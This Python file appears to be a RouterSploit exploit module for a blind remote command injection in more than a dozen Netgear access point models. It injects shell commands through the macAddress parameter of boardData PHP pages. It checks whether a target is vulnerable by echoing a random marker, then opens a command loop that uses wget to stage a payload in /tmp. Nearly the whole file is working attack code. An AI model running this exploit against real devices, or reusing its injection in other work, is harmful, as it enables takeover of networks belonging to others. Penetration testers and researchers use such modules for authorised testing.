from routersploit import (
    exploits,
    print_status,
    print_success,
    print_error,
    random_text,
    http_request,
    mute,
    validators,
    shell,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for multiple Netgear's Remote Code Execution vulnerability.
    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
    """
    __info__ = {
        'name': 'Netgear Multi RCE',
        'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is '
                       'vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'authors': [
            'Andrei Costin <andrei[at]firmware.re>',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'http://firmware.re/vulns/acsa-2015-001.php',
            'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
        ],
        'devices': [
            'Netgear WG102',
            'Netgear WG103',
            'Netgear WN604',
            'Netgear WNDAP350',
            'Netgear WNDAP360',
            'Netgear WNAP320',
            'Netgear WNAP210',
            'Netgear WNDAP660',
            'Netgear WNDAP620',
            'Netgear WNDAP380R',
            'Netgear WNDAP380R(v2)',
            'Netgear WN370',
            'Netgear WND930',
        ]
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
    port = exploits.Option(80, 'Target Port')

    arch = exploits.Option('mipsbe', 'Target architecture: mipsbe, mipsle')

    resources = ['boardData102.php', 'boardData103.php', 'boardDataNA.php', 'boardDataWW.php', 'boardDataJP.php']
    valid_resource = None

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            print_status("It is blind command injection - response is not available")

            if self.arch == "mipsbe":
                shell(self, architecture="mipsbe", method="wget", location="/tmp")
            elif self.arch == "mipsle":
                shell(self, architecture="mipsle", method="wget", location="/tmp")
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        url = ("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
               "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))

        # blind command injection
        http_request(method="GET", url=url)
        return ""

    @mute
    def check(self):
        mark = random_text(32)
        cmd = "echo {}".format(mark)

        for resource in self.resources:
            url = ("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
                   "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))

            response = http_request(method="GET", url=url)
            if response is None:
                return False  # target is not vulnerable

            if response.status_code == 200:
                response_body = response.text
                if "Update Success!" in response_body and mark in response_body:
                    self.valid_resource = resource
                    return True  # target is vulnerable

        return False  # target is not vulnerable
